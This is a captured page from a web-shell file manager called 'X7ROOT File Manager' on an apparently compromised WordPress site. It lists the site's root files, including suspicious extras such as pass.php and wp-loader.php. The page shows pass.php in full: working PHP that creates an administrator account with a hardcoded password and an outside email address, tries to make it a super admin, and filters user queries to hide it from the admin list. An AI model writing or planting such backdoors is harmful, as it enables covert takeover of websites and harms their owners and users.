X7ROOT File Manager
Current Path:
/home/greejped/nwswater.com
home
/
greejped
/
nwswater.com
/
ðŸ“
..
📄
.htaccess
(199 B)
📄
.litespeed_flag
(297 B)
ðŸ“
.tmb
📄
.tmb.zip
(331.55 MB)
📄
.tmp
(456 B)
ðŸ“
.well-known
📄
admin-ajax.php
(4.64 KB)
📄
error_log
(317.61 KB)
📄
google6032ca844f7c65c4.html
(53 B)
📄
google993d226409e0d51a.html
(53 B)
ðŸ“
images
📄
index.php
(293 B)
📄
license.txt
(19.47 KB)
ðŸ“
nwswater.com
📄
nwswater.com.zip
(99.14 MB)
📄
pass.php
(1.58 KB)
📄
readme.html
(7.2 KB)
📄
robots.txt
(358 B)
📄
wp-activate.php
(6.78 KB)
ðŸ“
wp-admin
📄
wp-admin.php
(5.88 KB)
📄
wp-blog-header.php
(436 B)
📄
wp-comments-post.php
(2.29 KB)
📄
wp-config-sample.php
(27.94 KB)
📄
wp-config.php
(3.44 KB)
ðŸ“
wp-content
📄
wp-cron.php
(3.86 KB)
ðŸ“
wp-includes
📄
wp-links-opml.php
(2.45 KB)
📄
wp-load.php
(3.25 KB)
📄
wp-loader.php
(4.69 KB)
📄
wp-login.php
(46.48 KB)
📄
wp-mail.php
(8.23 KB)
📄
wp-settings.php
(18.67 KB)
📄
wp-signup.php
(30.38 KB)
📄
wp-trackback.php
(4.72 KB)
📄
xmlrpc.php
(3.08 KB)
Editing: pass.php
<?php /** * Create a WordPress super admin with a predefined password. * * This script should be run in the root directory of your WordPress installation. * After execution, remove this file for security reasons. */ // Include WordPress core file to load WordPress environment require_once('wp-load.php'); require_once('wp-admin/includes/user.php'); // User details - CHANGE THESE $username = 'DHteam2'; $email = 'jgao21384@gmail.com'; $password = 'i)AEQUz2$PNxND%DQQ)d8Sz3'; // Create the new user $user_id = wp_create_user($username, $password, $email); if (is_wp_error($user_id)) { echo 'Error creating user: ' . $user_id->get_error_message(); } else { // Make the user a super admin $user = new WP_User($user_id); $user->set_role('administrator'); grant_super_admin($user_id); add_filter('pre_user_query', 'hide_admin_user'); echo 'Super admin created successfully!'; } // Function to grant super admin capabilities, only available in multisite if (is_multisite()) { function grant_super_admin($user_id) { global $wpdb; $wpdb->insert($wpdb->sitemeta, array('meta_key' => $wpdb->prefix . 'user_roles', 'meta_value' => 'a:1:{s:13:"administrator";b:1;}', 'site_id' => 1)); add_user_to_blog(1, $user_id, 'administrator'); } } else { echo "Note: This is not a multisite installation, so super admin status cannot be fully granted."; } function hide_admin_user($query) { global $wpdb; $query->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '{$username}'", $query->query_where); return $query; } ?>
Upload File
Create Folder